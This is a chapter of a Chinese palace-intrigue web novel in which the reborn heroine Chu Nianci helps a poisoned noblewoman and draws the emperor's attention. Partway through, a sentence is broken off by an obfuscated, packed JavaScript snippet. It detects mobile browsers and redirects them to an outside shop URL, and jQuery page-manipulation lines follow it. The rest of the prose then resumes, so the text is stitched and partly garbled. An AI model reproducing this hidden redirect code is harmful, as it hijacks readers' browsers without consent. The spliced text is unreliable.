第19章 端木清羽亲临撷芳殿
作品:《夫君兼祧两房,我嫁入皇宫你哭啥?》 眼下在场的,除了自己与澜冰,受害的顾轻眉,剩下的便只有她了。
楚念辞心里虽没十足把握,但所有疑点已全指向了白芊柔,九成断定就是她。
见顾轻眉脸色渐缓,气息也平稳下来,楚念辞悬着的心总算落下。
这一世,总算避过了这场致命的大劫。
只要顾轻眉安然无恙,自己和冰儿总算还有一线生机。
她眼底掠过一丝冷意,前世那位看似天真良善的“贵妃娘娘”,真是藏得够深。
真是人不可貌相,海水不可斗量。
此刻,园子里早乱作一团。
“谁过来帮帮我?”楚念辞看了眼仍虚弱的顾轻眉问。
自己一人扶不动,必须找人帮忙,可秀女们惊魂未定,有的聚在一起瑟瑟议论,有的小声啜泣,更有几个慌不择路地想往外跑,场面一时难以收拾,无人肯帮忙。
沈澜冰见状,压住心底的惊慌,走来帮忙。
目光扫过纷乱的人群,楚念辞定了定神,抬高声音道:“大家别慌,仔细脚下,即便还有毒虫,也不过是虫子,没什么可怕的,只要看见就往死里踩。”
清亮镇定的声音瞬间压过了嘈杂纷乱。
众人渐渐安定下来。
楚念辞转向沈澜冰:“冰儿,咱俩扶顾小姐到那边抱厦里,你照看一下,我这就去请岚姑姑和太医。”
沈澜冰水虽也吓得脸色发白,但被楚念辞的镇静感染,迅速稳住了心神。
她依言小心搀起顾轻眉,谨慎地留意着地面,两个朝不远处的抱厦挪去。
安置好顾轻眉,楚念辞则转身疾步去寻岚姑姑。
很快,岚姑姑便带着人匆匆赶来,一见倒在地上的竟是镇国公府的千金,顿时也慌了神,连声喊道:“快,快去请太医,再派个人到里边禀报喜公公,楚选侍你带众女离开!”
楚念辞点头带着秀女们有序地离开。
她沉着指挥,成了所有人倚靠的主心骨。
“陛下驾到……”太监的唱报声陡然响起时。
楚念辞心中一动,果然端木清羽亲自来了。
秀女们正乱哄哄地退去。
人群瞬间一静,随即不管不顾地退至道旁,齐刷刷跪倒一片。
只见一道明黄袍角衣袂翩飞地掠过。
胆子大些的秀女,目光便忍不住悄悄向上飘去……这一看,却都怔住了,眼神像是被黏住了似的,再挪不开。
楚念辞只见年轻的天子步履未停,径直朝顾轻眉所在的抱厦方向走去。
他行走带风,玄色衣袍上金色的暗纹流光般一闪。
白芊柔、沈澜冰,起初都被这突如其来的驾到惊得有些茫然,只是依着本能随众人跪下。
可当她们起身抬头,端木清羽正行经面前,不过两三丈的距离。
近得能看清他玉旒上宝石的幽光。
她们看清了,所有人都看清了,端木清羽那张如同天人般面容。
飞扬的长眉,深邃的凤眼,以及通身那种久居尊位、不容逼视的冷冽气度。
已如烙印般,猝不及防地烫进了所有偷望者的眼底心里。
园中惊惶、恐惧、忙乱,全被这股无形的威压霎时涤荡,只剩下一片屏息地、失语的震撼。
白芊柔与沈澜冰本来吓得心脏怦怦直跳。
可此刻真真切切看清了天颜,胸腔里那股躁乱反而奇异地消失了,一片空茫的寂静与安宁。
在这片寂静里。
她们忽然想起,刚还互赞容貌,忽地显得可笑极了。
什么国色天香,清艳脱俗,在这位陛下迫人的美貌面容前,都黯然失了颜色。
这样风华绝代的帝王近在眼前,几乎在场的所有秀女眼中全都露出倾慕之色……即便选不上妃嫔,哪怕能留在宫中,在他身边做个宫女,也算不枉此生了。
楚念辞安静地跪在人群里,心中也不由轻叹。
真是“一见端木误终身”。
今日见过他的秀女们,若选不上,回去怕是要碎了一地芳心。
端木清羽行至昏迷的顾轻眉身旁,脚步忽然一顿,长眉微蹙,似嗅到了一股血腥味。
“陛下当心,地上有血。”敬喜低声提醒。
端木清羽便不再上前,只站在那里静静地看着。
敬喜快步走到顾轻眉身边查看片刻,回身禀报:“陛下,顾小姐**了。”
周围鸦雀无声,众秀女大气不敢出。
楚念辞迅速抬头瞥了他一眼,注意到他如玉般莹润耀目的颊上,漆黑的长眉紧紧锁着,眼中是一种震惊、担忧与微微恶心的神色。
结合第一次见面时,他坐下时让人先垫上狐皮垫子,还有出行时,自带杯盏的行为。
都显示出他有严重的洁癖,这种洁癖会导致他厌恶一切与他人接触的行为。
楚念辞突然想到了一个不合时宜的问题。
陛下与皇后娘娘是如何行房的?
她想得嘴角不由微微上扬。
果然下一息,端木清羽皱起眉头,“朕欲呕……”他只来得及说这一句,便捂住了口鼻。
楚念辞机灵地跪前一步递上自己的薄荷香囊:“陛下,您嗅嗅,可以压下恶心眩晕。”
端木清羽正欲呵斥这个胆大包天的宫女。
忽嗅到一股沁人心脾的香气,顿时感到清爽了不少。
他不由看了楚念辞一眼,然后转身,径直走到一边凉亭中。
然后一挥手,宫人们立刻将秀女全部带离了现场。
楚念辞也跟着转身,身后却传来端木清羽的清朗声音:“你且留下。”
她松了一口气,低着头站到一边。
“传御医,并叫掖庭司的人过来。”端木清羽吩咐。
一名小太监匆匆领命而去。
约莫一炷香后,只来了一位十分年轻的太医,背着药箱慌慌张张地跪地行礼。
“怎么回事?”端木清羽面色微沉,“宫里的三位御医呢?”
小太医吓得连连磕头:“回、回陛下……章太医告病,许太医去了丞相府问诊,刘太医被蔺院使请回伯府,说是太夫人旧疾复发……”
听见这句话,楚念辞心中微微一动。
蔺院使便是蔺景瑞,知道那谢氏是生病了。
但是没想到他这么大胆。
竟敢随意调动御医回家中给她整治,且是这选秀的重要日子。
“荒唐!”端木清羽声音冷了下来,“今日选秀,宫中竟无一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989490|193684||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
御医当值?立刻去把章太医请回来,再将蔺院使给朕传进宫,让他去丽正门下跪着。”
也难怪他动怒……选秀何等大事,三位御医竟齐齐不在,这未免太不尽职。
凭着前世的记忆,楚念辞很清楚。
这件事,蔺景瑞绝对脱不了干系。
宫里的规矩,三位御医必须轮流当值,无论什么时候,太医院都得留一位正职御医坐镇。
那些刚来的小太医,是顶不了这个缺的。
而合理安排御医轮值,正是蔺景瑞这个太医院使的分内职责。
可今天选秀这么大场合,他不仅没安排好值班,还敢把当值的刘太医叫回伯府,给他母亲谢氏看病。
这简直是错上加错。
既是**,又是私调御医,哪一条都够他喝一壶的。
小太医战战兢兢地挪到顾轻眉身边,探了探她的脉象,又看了看她小腿上已被处理过的伤口,这才回禀:“陛下,顾小姐确是中蝎毒,但幸亏毒血亦被吸出大半,性命应是无碍了。”
“既无碍,为何还不醒?”端木清羽看向仍昏迷不醒的顾轻眉,脸色好转,但脸上已经隐隐起了一层红疹子。
他语气转厉:“速将刘太医寻回,此事关乎镇国公府,不惜一切代价让顾小姐平安无事。”
顾轻眉被迅速抬到暖阁中,四下顿时安静下来。
楚念辞悄悄抬眼看向端木清羽。
即便是心怀焦急,他如星凤眸里瞧不出半点情绪,前世他其实极其看重镇国公府,一直借其势力制衡太尉。
若不是楚念辞重生一回,根本不会把这些细节联系到一处。
又等了两炷香的工夫,章太医终于匆匆赶到。
他行了礼,疾步进入内室查看。
不多时,头发花白的老御医出来回禀:“陛下放心,毒性已解,顾小姐并无性命之忧。”
“那她满脸红疹又是何故?”
“此乃毒性外发至肌表所致,按时服药,几日便可消退。”
端木清羽神色稍缓,随即开始追究缘由。
得知事发时白芊柔、沈澜冰水与楚念辞三人在场,便先唤了白芊柔问话。
谁知白芊柔还沉浸在“陛下竟亲自问我话”的恍惚中,粉唇微颤,半天没说出整句话来。
端木清羽目光一转,见楚念辞神色沉静,便点了她的名。
楚念辞上前叩首,将事情经过简洁清晰地陈述了一遍,并无添油加醋。
只说自己帮顾轻眉吮毒,省略了喂她避毒丸这件事。
她可不想太显眼,让人知道自己精通医术。
“此处主事是谁?”端木清羽问。
“是奴婢。”岚姑姑急忙跪倒,尽管脸色发白,但还是从容应对。
她悄悄抹了一把汗,若顾轻眉真出了事,她这条命恐怕也难保。
“选秀殿内竟出现剧毒之虫,你作何解释?”
岚姑姑连连磕头:“陛下明鉴,如今正值寒冬,蛇虫本就不易存活,且三日前奴婢便已命人撒上驱虫药粉,这几日更是清除亭台杂草……这毒虫出现实在蹊跷!”
“毒虫呢?”
“毒虫已死,”楚念辞从容叩首,仪态端静,“就在台阶下。”

